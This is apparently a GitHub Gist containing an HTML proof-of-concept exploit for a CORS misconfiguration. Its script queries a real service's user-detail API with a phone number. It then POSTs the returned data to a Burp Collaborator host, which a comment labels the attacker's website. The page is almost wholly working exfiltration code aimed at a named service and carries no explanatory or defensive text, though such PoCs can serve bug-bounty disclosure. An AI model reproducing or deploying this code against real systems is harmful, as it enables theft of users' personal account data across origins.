Created
January 9, 2022 11:21
-
-
Save MayankPandey01/3cf1ccb888c16d9ea32bdf58f7795f31 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<head><meta charset="utf-8"></head> | |
<button type='button' onclick='cors()'>CORS</button> | |
<p id='demo'></p> | |
<script> | |
function cors() { | |
var xhttp = new XMLHttpRequest(); | |
xhttp.onreadystatechange = function() { | |
if (this.readyState == 4 && (this.status == 200 || this.status ==400)) { | |
var a = this.responseText; | |
document.getElementById("demo").innerHTML = a; | |
xhttp.open("POST", "http://qpjv98nzmoshrw0irxepv3ldl4rwfl.burpcollaborator.net", true);// Sending that data to Attacker's website | |
xhttp.withCredentials = true; | |
console.log(a); | |
xhttp.send("data="+a); | |
} | |
}; | |
params='{"mobile":"8873621872","dialCode":"+91","redirectOnAuthReturn":true}';//change psot data accordingly | |
xhttp.open("POST", "https://api.whitehatjr.com/api/V1/userDetail/existByEmailOrMobile", true);//change endpoint accordingly | |
xhttp.withCredentials = false; | |
xhttp.setRequestHeader('Content-type', 'application/json;charset=utf-8'); | |
xhttp.send(params); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment